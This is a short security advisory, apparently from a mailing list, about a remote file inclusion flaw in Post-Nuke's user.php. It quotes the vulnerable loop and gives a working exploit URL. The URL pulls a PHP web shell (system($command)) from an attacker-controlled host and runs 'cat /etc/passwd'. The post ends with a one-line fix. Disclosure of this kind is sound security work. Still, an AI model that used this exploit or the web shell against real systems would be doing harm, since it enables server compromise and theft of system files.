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post nuke is one of popular content management
system written in php . there are bug in file user.php
line 107
which user can append $caselist array with their own
value.
foreach ($caselist as $k=>$v)
{
$ModName = $v['module'];
include "$v[path]/$k";
}
$caselist = array();
http://lame_host/user.php?caselist[bad_file.txt][path]
=http://bad_host&command=cat%20/etc/passwd
bad_file.txt (put in bad_host document root):
-- start bad_file.txt -----
<pre>
<?php
system($command);
?>
-- end bad_file.txt -----
quick fix:
put on line 28 :
$caselist = array();
http://inetd-secure.net/
http://www.mybsd.org.my/pokleyzz/
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